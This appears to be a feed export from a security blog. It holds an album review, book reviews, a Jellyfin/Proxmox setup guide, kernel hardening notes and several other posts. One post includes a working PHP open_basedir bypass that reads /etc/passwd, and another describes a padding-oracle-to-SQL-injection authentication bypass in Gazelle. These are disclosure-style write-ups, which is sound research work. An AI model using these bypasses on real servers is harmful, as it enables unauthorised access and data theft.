<a href="https://en.wikipedia.org/wiki/Syncopation">syncopated</a> rhythm, 80s gothic
rock, clean vocals and acoustic guitars, … it results in something like
Katatonia doing a feat with <a href="https://en.wikipedia.org/wiki/Gramatik">Gramatik</a>
and <a href="https://en.wikipedia.org/wiki/Ulver">Ulver</a> period early 2000s.</p>
<p>Then the calm before the storm, "Infinite bordedom", a one minute interlude of grainy piano under the rain,
announcing "Don't Keep Me Waiting", some sort of nihilist black metal track,
but with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample
from <a href="https://en.wikipedia.org/wiki/The_Minister">L’exercice de l’État</a>
has a gentle touch of <a href="https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572">Ba'a</a>. Moving on
to "A Genuinely Benevolent Man", starting with synthesisers,
then a 4|4 kick resulting in something that could be on a <a href="https://en.wikipedia.org/wiki/VNV_Nation">VNV Nation</a> album.
Until it decays into something more raw, and when the shrieking vocals
are showing up, you didn't even realise that we've left the world of the darkwave
to return into the one of black metal.</p>
<p>"Paris or Me", dark and rainy, with bits of triptop percussion,
introducing "Could've, Should've, Would've", with tasteful hints of Depeche Mode, Dead Can Dance,
post-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM
cocktail. The album ends with "Jusqu'au-boutiste", starting with some jazzy piano on a <a href="https://en.wikipedia.org/wiki/Bassline#Walking_bass">walking
bass</a>, turning into an ultra-saturated tremolo riff with blast beats,
and both worlds are alternating along the track, only interrupted by a very à
propos sample from <a href="https://en.wikipedia.org/wiki/Low_Down">Low Down</a>. It goes
on until the piano gets creepier and creepier, landing into strings,
morphing into dislocated tip-hop soul, beaching onto calm synthesisers,
and ending with raw black metal as background for electronic sounds.</p>
<p>As <a href="https://hypnoticdirgerecords.com/">Hypnotic Dirge Records</a>, the label on which the disc was produced, perfectly
summarised:</p>
<blockquote>
<p>The perfect soundtrack for late-night walks in the city. The material on
“Ingrats” is an all-out assault on the senses, a bitter pill that must be
swallowed as an accompaniment for self-reflection. An album which can connect
emotionally and leave you drained at the end.</p>
</blockquote>ini_set based open_basedir bypass2023-11-03T16:30:00+01:002023-11-03T16:30:00+01:00jvoisintag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.html<p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019,
by being the expected solution for his
<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge
for InsomniHack Finals 2019, but has been known long before.</p>
<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p>
<blockquote>
<p>When a script tries to access the filesystem, for example using include,
or fopen(), the …</p></blockquote><p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019,
by being the expected solution for his
<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge
for InsomniHack Finals 2019, but has been known long before.</p>
<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p>
<blockquote>
<p>When a script tries to access the filesystem, for example using include,
or fopen(), the location of the file is checked. When the file is outside the
specified directory-tree, PHP will refuse to access it. All symbolic links are
resolved, so it's not possible to avoid this restriction with a symlink. If the
file doesn't exist then the symlink couldn't be resolved and the filename is
compared to (a resolved) open_basedir. </p>
<p>[…]</p>
<p>open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. </p>
</blockquote>
<p>It has been more or less fixed in <a href="https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c">March 2021</a>,
then again in <a href="https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551">March 2023</a>,
and again in <a href="https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d">July 2023</a>.
But I wouldn't be surprised if more low-hanging bypasses were lurking ;)</p>
<p>The crux of the bypass is that php didn't resolve relative paths both in
<code>ini_set</code> and when checking <code>php_check_open_basedir</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="o"><?</span><span class="nx">php</span>
<span class="k">echo</span> <span class="nb">ini_get</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">);</span> <span class="c1">// /var/www/html</span>
<span class="nb">mkdir</span><span class="p">(</span><span class="s1">'./tmp'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'./tmp'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span> <span class="s1">'..'</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nv">$i</span> <span class="o"><=</span> <span class="mi">24</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">);</span>
</code></pre></div>Book review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking2023-10-20T18:00:00+02:002023-10-20T18:00:00+02:00jvoisintag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html<p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p>
<p>I'm starting to feel guilty about getting ebooks for free from
<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to
send them my way in exchange for a review, so I won't complain.</p>
<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking,
Impressioning …</a></p><p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p>
<p>I'm starting to feel guilty about getting ebooks for free from
<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to
send them my way in exchange for a review, so I won't complain.</p>
<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking,
Impressioning, and Safe Cracking</a>!
It's obviously a book about lockpicking, but, as <em>hinted</em> by its name,
from the <a href="https://www.lockwiki.com/index.php/Locks port">sport</a> angle.</p>
<p>I'm not completely clueless when it comes to picking locks, but I've always been
mediocre at best, since I never really put the effort into practising anything
but the basics. This was thus a great opportunity for a deeper dive!
So I got myself a <a href="https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick">proper set of picks</a>,
3 cutaway training locks <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins">one with serrated pins</a>,
<a href="https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins">with spool pins</a>,
and <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins">one with stupid chess pieces pins</a>,
and a couple of locks/padlocks from my local locksmith, and dove into the book!</p>
<p>I was a bit curious about its content, since I didn't bother reading the table of contents,
and was expecting a pile of techniques to open <a href="https://en.wikipedia.org/wiki/Wafer_tumbler_lock">wafer tumbler locks</a>
in the fastest way possible. But the book is so much more than that, with
historical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking
competitions and how to organise one, anecdotes, mechanical details and
resources for those who <a href="https://en.wikipedia.org/wiki/Starship_Troopers_(film)">would like to know
more</a>, how to tear
apart, modify, take care of, and reassemble locks, where to get equipment,
how to <a href="https://www.lockwiki.com/index.php/Impressioning">impression keys</a>,
details on <a href="https://en.wikipedia.org/wiki/Lever_tumbler_lock">lever tumbler locks</a>
and <a href="https://en.wikipedia.org/wiki/Safe">vaults</a>,
…</p>
<p>The part about wafer locks, while interesting, doesn't really go much further
than some basic techniques for entry-level <a href="https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations">security pins</a>,
but I guess practise is the only way to learn how to handle anything non-trivial anyway.
On the other hand, the part about lever locks was highly entertaining,
since those are really weird compared to the <em>usual</em> locks,
and I didn't know much about them.</p>
<p>I recently gifted myself a <a href="https://www.sparrowslockpicks.com/products/challenge-vault">Sparrow's challenge vault</a> for my birthday,
and was thus highly delighted to discover that the book has a whole section
on <a href="https://en.wikipedia.org/wiki/Safe-cracking">safe manipulation</a>; which is
fortunate since the instructions coming with the vault are <s>pure garbage</s>
confusing at best.</p>
<p>The only issue I had with the book is that while it's full of gorgeous colourful
pictures, like the small marks left by pins during key impressioning,
they are unfortunately barely legible on my
<a href="https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3">Pocketbook InkPad 3</a>,
so I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐
𝕳𝕯𝕽 e-reader.</p>
<p>All in all, it's a really great self-contained book for newcomers and beginners,
entertaining, detailed, … and doing a tremendous job at making
lockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to
tackle harder locks.</p>
<p>If you already know your way around locks, you might want to look at <a href="https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233">High-Security Mechanical Locks: An
Encyclopedic
Reference</a> instead.</p>Authentication bypass on What.CD's Gazelle2023-10-13T19:45:00+02:002023-10-13T19:45:00+02:00jvoisintag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.html<p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and
hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a>
is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>,
their "web framework geared towards private BitTorrent tracker" anymore.
I've been sitting on this one for years, I know I wasn't the only one,
and it's not the only low-hanging vulnerability lurking there.</p>
<p>Rolling your own blunt …</p><p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and
hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a>
is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>,
their "web framework geared towards private BitTorrent tracker" anymore.
I've been sitting on this one for years, I know I wasn't the only one,
and it's not the only low-hanging vulnerability lurking there.</p>
<p>Rolling your own blunt is alright, rolling your own authentication scheme
less so: there is a trivial <a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">padding oracle</a>
in the <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24">homegrown crypto scheme</a>:</p>
<div class="codehilite"><pre><span></span><code><span class="k">public</span> <span class="k">function</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">,</span> <span class="nv">$Key</span> <span class="o">=</span> <span class="nx">ENCKEY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$CryptStr</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$IV</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="nv">$CryptStr</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">16</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">mcrypt_decrypt</span><span class="p">(</span><span class="nx">MCRYPT_RIJNDAEL_128</span><span class="p">,</span> <span class="nv">$Key</span><span class="p">,</span> <span class="nv">$CryptStr</span><span class="p">,</span> <span class="nx">MCRYPT_MODE_CBC</span><span class="p">,</span> <span class="nv">$IV</span><span class="p">));</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">return</span> <span class="s1">''</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>leading to an <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31">authentication bypass via a SQL injection</a>:</p>
<div class="codehilite"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'session'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$LoginCookie</span> <span class="o">=</span> <span class="nv">$Enc</span><span class="o">-></span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'session'</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">))</span> <span class="p">{</span>
<span class="k">list</span><span class="p">(</span><span class="nv">$SessionID</span><span class="p">,</span> <span class="nv">$UserID</span><span class="p">)</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"|~|"</span><span class="p">,</span> <span class="nv">$Enc</span><span class="o">-></span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$UserID</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$SessionID</span><span class="p">)</span> <span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'Not logged in!'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$Enabled</span> <span class="o">=</span> <span class="nv">$Cache</span><span class="o">-></span><span class="na">get_value</span><span class="p">(</span><span class="s2">"enabled_</span><span class="si">$UserID</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
<span class="k">require</span><span class="p">(</span><span class="nx">SERVER_ROOT</span><span class="o">.</span><span class="s1">'/classes/mysql.class.php'</span><span class="p">);</span> <span class="c1">//Require the database wrapper</span>
<span class="nv">$DB</span> <span class="o">=</span> <span class="k">NEW</span> <span class="nx">DB_MYSQL</span><span class="p">;</span> <span class="c1">//Load the database wrapper</span>
<span class="nv">$DB</span><span class="o">-></span><span class="na">query</span><span class="p">(</span><span class="s2">"</span>
<span class="s2"> SELECT Enabled</span>
<span class="s2"> FROM users_main</span>
<span class="s2"> WHERE ID = '</span><span class="si">$UserID</span><span class="s2">'"</span><span class="p">);</span>
<span class="k">list</span><span class="p">(</span><span class="nv">$Enabled</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$DB</span><span class="o">-></span><span class="na">next_record</span><span class="p">();</span>
<span class="nv">$Cache</span><span class="o">-></span><span class="na">cache_value</span><span class="p">(</span><span class="s2">"enabled_</span><span class="si">$UserID</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$Enabled</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'Not logged in!'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>Conveniently, the oracle doesn't touch the database, is completely stateless,
and only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies'
content, making forensic analysis nigh impossible. Once you're admin, there are
a bunch of available SQL injections, like in
<a href="https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php"><code>takerevolve.php</code></a>.
From there, remote code execution is doable, but left as an exercise for the
reader.</p>Video acceleration in Jellyfin inside a Proxmox container2023-10-01T22:15:00+02:002023-10-01T22:15:00+02:00jvoisintag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html<p>For various reasons, including "video decoding is hard", "your web browser hates you"
and "watching movies on a phone over 3G is a basic human necessity",
enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a>
is a desirable goal if you don't want your CPU to set your house on fire. </p>
<p>To attain …</p><p>For various reasons, including "video decoding is hard", "your web browser hates you"
and "watching movies on a phone over 3G is a basic human necessity",
enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a>
is a desirable goal if you don't want your CPU to set your house on fire. </p>
<p>To attain it, one can mess around <a href="https://github.com/ddimick/proxmox-lxc-idmapper">cryptic gid mappings</a>,
but granting every user on the hypervisor the right to read/write <code>/dev/dri/renderD128</code> and
<code>/dev/dri/card0</code> is way easier, and it looks like this:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>><span class="w"> </span>/etc/udev/rules.d/99-intel-chmod666.rules<span class="w"> </span><<<span class="w"> </span><span class="s1">'EOF'</span>
<span class="go">KERNEL=="renderD128", MODE="0666"</span>
<span class="go">KERNEL=="card0", MODE="0666"</span>
<span class="go">EOF</span>
<span class="gp"># </span>udevadm<span class="w"> </span>control<span class="w"> </span>--reload-rules<span class="w"> </span><span class="o">&&</span><span class="w"> </span>udevadm<span class="w"> </span>trigger
<span class="gp">#</span>
</code></pre></div>
<p>It doesn't really worsen security, since:
- the devices are only mounted inside my jellyfin container, which would have
the same privileges as if I used gid mapping.
- odds are that an attacker able to get a shell on the hypervisor wouldn't
really need to have r/w access to the two devices to escalate their
privileges anyway, since they would either be:
- root already to escape from a container
- root already to escape from a vm
- whatever proxmox user and likely able to escalate to <code>root</code> trivially
- other users are sandboxed via systemd and/or seccomp.</p>
<p>Speaking of mounting things inside the container:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>><span class="w"> </span>/etc/pve/lxc/114.conf<span class="w"> </span><<<span class="w"> </span><span class="s1">'EOF'</span>
<span class="go">lxc.cgroup2.devices.allow: c 226:0 rwm</span>
<span class="go">lxc.cgroup2.devices.allow: c 226:128 rwm</span>
<span class="go">lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir</span>
<span class="go">lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file</span>
<span class="go">EOF</span>
<span class="gp">#</span>
</code></pre></div>
<p>You can now run <code>vainfo</code> inside the container and be delighted by the
presence of the <a href="https://en.wikipedia.org/wiki/Video_Acceleration_API">VA-API</a> version number:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>vainfo<span class="w"> </span><span class="m">2</span>>/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span>
<span class="go">libva info: VA-API version 1.17.0</span>
<span class="gp">#</span>
</code></pre></div>
<p>The last step is to tick all the boxes in <a href="https://jellyfin.org/docs/general/administration/hardware-acceleration/">Jellyfin's
preferences</a>
and you're good to go. Don't forget to make some space on the disk for the
transcoding cache, at least until <a href="https://github.com/jellyfin/jellyfin/pull/8744">this</a>
makes its way into a release.</p>Paper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScript2023-09-26T17:15:00+02:002023-09-26T17:15:00+02:00jvoisintag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html<p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p>
<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a>
will at some point contain the following line: "No, javascript isn't disabled
by default because too many sites would break. You can always crank the
security slider all the way up if you want tho."</p>
<p>We all agree …</p><p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p>
<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a>
will at some point contain the following line: "No, javascript isn't disabled
by default because too many sites would break. You can always crank the
security slider all the way up if you want tho."</p>
<p>We all agree that javascript enables all sorts of despicable behaviours making
the web a nightmare-material privacy/security cesspit and completely
inscrutable to a lot of users, so having research done
to quantify how to make it a better place for everyone is always more than welcome.</p>
<p>The main idea of the paper is to load pages from the <a href="https://hispar.cs.duke.edu/">Hispar
set</a> with and without <code>javascript.enabled</code> set,
via <a href="https://pptr.dev">Puppeteer</a>, and to perform
magic human-assisted smart diffing to detect user-perceived/perceivable
breakages. </p>
<p>The paper is full of fancy graphs and analysis, but the <a href="https://en.wikipedia.org/wiki/TL;DR">tldr</a> is:</p>
<blockquote>
<p>We discover that 43 % of web pages are not strictly dependent on JavaScript
and that more than 67 % of pages are likely to be usable as long as the visitor
only requires the content from the main section of the page, for which the user
most likely reached the page, while reducing the number of tracking requests by
85 % on average.</p>
</blockquote>
<p>An interesting take is that the usage of javascript framework is the main
source of breakage, since <s>a lot</s> all of them result in completely
unusable websites when javascript is disabled. Moreover, anecdotal data seems
to suggest that the bigger a company is, the more their website is going to
break when javascript is disabled.</p>
<p>And like every decent paper, it comes with the <a href="https://gitlab.inria.fr/Spirals/breaking-bad">related code and data published</a>.</p>Snuffleupagus 0.10.0 - Babar the Elephant2023-09-20T15:25:00+02:002023-09-20T15:25:00+02:00jvoisintag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.html<p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p>
<p>I just published a new release of
<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>,
the hardening module for php7+ and php8+,
version <code>0.9.0</code>, codename "Babar the Elephant",
named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>.
The main new feature is the PHP8.3 support, but there are a couple of
quality-of-life improvements for people using Snuffleupagus with fuzzers …</p><p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p>
<p>I just published a new release of
<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>,
the hardening module for php7+ and php8+,
version <code>0.9.0</code>, codename "Babar the Elephant",
named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>.
The main new feature is the PHP8.3 support, but there are a couple of
quality-of-life improvements for people using Snuffleupagus with fuzzers as
well.</p>
<h3>Changelog</h3>
<ul>
<li>Compatibility with PHP8.3</li>
<li>Add <code>sp.log_max_len</code> to limit the maximum size of the log messages</li>
<li>Add an example configuration for Xenforo 2.2.12 </li>
<li>Url encode functions arguments when logging them</li>
<li>Fix a possible NULL-byte truncation when outputting parameters in the logs</li>
<li>Make <code>readonly_exec</code> play nice on readonly filesystems </li>
</ul>
<p>As usual, if you want to help, we have some
<a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22">low hanging fruits</a> ♥</p>
<p>See you in your PHP stack!</p>Some notes on "Randomized slab caches for kmalloc()"2023-09-11T01:45:00+02:002023-09-11T01:45:00+02:00jvoisintag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.html<p>Ruiqi Gong and Xiu Jianfeng got their
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a>
patch series merged upstream, and I've had enough discussions about it to
warrant summarising them into a small blogpost.</p>
<p>The main idea is to have multiple slab caches, and pick one at random based on
the address of …</p><p>Ruiqi Gong and Xiu Jianfeng got their
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a>
patch series merged upstream, and I've had enough discussions about it to
warrant summarising them into a small blogpost.</p>
<p>The main idea is to have multiple slab caches, and pick one at random based on
the address of code calling <code>kmalloc()</code> and a per-boot seed, to make heap-spraying harder.
It's a great idea, but comes with some shortcomings for now:</p>
<ul>
<li>Objects being allocated via wrappers around <code>kmalloc()</code>, like <code>sock_kmalloc</code>,
<code>f2fs_kmalloc</code>, <code>aligned_kmalloc</code>, … will end up in the same slab cache.</li>
<li>The slabs needs to be pinned, otherwise an attacker could <a href="https://en.wikipedia.org/wiki/Heap_feng_shui">feng-shui</a> their way
into having the whole slab free'ed, garbage-collected, and have a slab for
another type allocated at the same VA. <a href="https://thejh.net/">Jann Horn</a> and <a href="https://infosec.exchange/@nspace">Matteo Rizzo</a> have a <a href="https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream">nice
set of patches</a>,
discussed a bit in <a href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">this Project Zero blogpost</a>,
for a feature called <a href="https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e"><code>SLAB_VIRTUAL</code></a>,
implementing precisely this.</li>
<li>There are 16 slabs by default, so one chance out of 16 to end up in the same
slab cache as the target.</li>
<li>There are no guard pages between caches, so inter-caches overflows are
possible.</li>
<li>As pointed by <a href="https://twitter.com/andreyknvl/status/1700267669336080678">andreyknvl</a>
and <a href="https://infosec.exchange/@minipli/111045336853055793">minipli</a>,
the fewer allocations hitting a given cache means less noise,
so it might even help with some heap feng-shui.</li>
<li>minipli also pointed that "randomized caches still freely
mix kernel allocations with user controlled ones (<code>xattr</code>, <code>keyctl</code>, <code>msg_msg</code>, …).
So even though merging is disabled for these caches, i.e. no direct overlap
with <code>cred_jar</code> etc., other object types can still be targeted (<code>struct
pipe_buffer</code>, BPF maps, its verifier state objects,…). It’s just a matter of
probing which allocation index the targeted object falls into.",
but I considered this out of scope, since it's much more involved;
albeit something like Jann Horn's <a href="https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README"><code>CONFIG_KMALLOC_SPLIT_VARSIZE</code></a>
wouldn't significantly increase complexity.</li>
</ul>
<p>Also, while code addresses as a source of entropy has historically be a great
way to provide <a href="https://lwn.net/Articles/569635/">KASLR</a> bypasses, <code>hash_64(caller ^
random_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))</code> shouldn't trivially
leak offsets.</p>
<p>The segregation technique is a bit like a weaker version of grsecurity's
<a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">AUTOSLAB</a>,
or a weaker kernel-land version of
<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>,
but to be fair, making use-after-free exploitation harder, and significantly
harder once pinning lands, with only ~150 lines of code and negligible
performance impact is amazing and should be praised. Moreover, I wouldn't be
surprised if this was backported in <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's KernelCTF</a>
soon, so we should see if my analysis is correct.</p>Making use of pygments' filters with Pelican2023-09-01T18:30:00+02:002023-09-01T18:30:00+02:00jvoisintag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.html<p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a>
more or less since the beginning of this blog and I'm still
pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a>
it is, and its complete absence of fundamental changes thorough the years.</p>
<p>Anyway, I was looking at how to reduce the size of the pages …</p><p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a>
more or less since the beginning of this blog and I'm still
pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a>
it is, and its complete absence of fundamental changes thorough the years.</p>
<p>Anyway, I was looking at how to reduce the size of the pages of my blog
and looked at how code is syntactically highlighted:
Pelican is using <a href="https://pygments.org">Pygments</a> to do this,
and looking at its documentation, the <a href="https://pygments.org/docs/filters/#TokenMergeFilter">TokenMergeFilter</a>
should help a bit, by merging token of the same type together,
instead of highlighting them separately.</p>
<p>Pelican's documentation <a href="https://docs.getpelican.com/en/stable/settings.html">says</a>
that options can be passed to python-markdown like this:
<code>MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }</code>.</p>
<p>Looking at <a href="https://python-markdown.github.io/">python-markdown</a>'s <a href="https://python-markdown.github.io/reference/#markdown">one</a>,
one can pass various things as parameters, but it doesn't mention filters.
<a href="https://pygments.org/docs/filters/">Pygments documentation on this topic</a> implies
that the only way to add filters is to use the <code>add_filter</code> method on a lexer.</p>
<p>But <a href="https://github.com/pygments/pygments/blob/master/pygments/lexer.py">looking at the code</a>
as suggested <a href="https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760">here</a>,
filters can be passed like any other options, meaning that one only needs to
add the following code into the <code>pelicanconf.py</code> file to used the
<code>TokenMergeFilter</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">pelican</span> <span class="kn">import</span> <span class="n">TokenMergeFilter</span>
<span class="n">MARKDOWN</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'extension_configs'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'markdown.extensions.codehilite'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'filters'</span><span class="p">:</span> <span class="p">[</span><span class="n">TokenMergeFilter</span><span class="p">()]</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="err">`</span><span class="o">.</span>
</code></pre></div>
<p>Totally worth the effort for a marginal page size reduction!</p>Book review: Hacks, Leaks, and Revelations2023-08-16T16:15:00+02:002023-08-16T16:15:00+02:00jvoisintag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.html<p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p>
<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department,
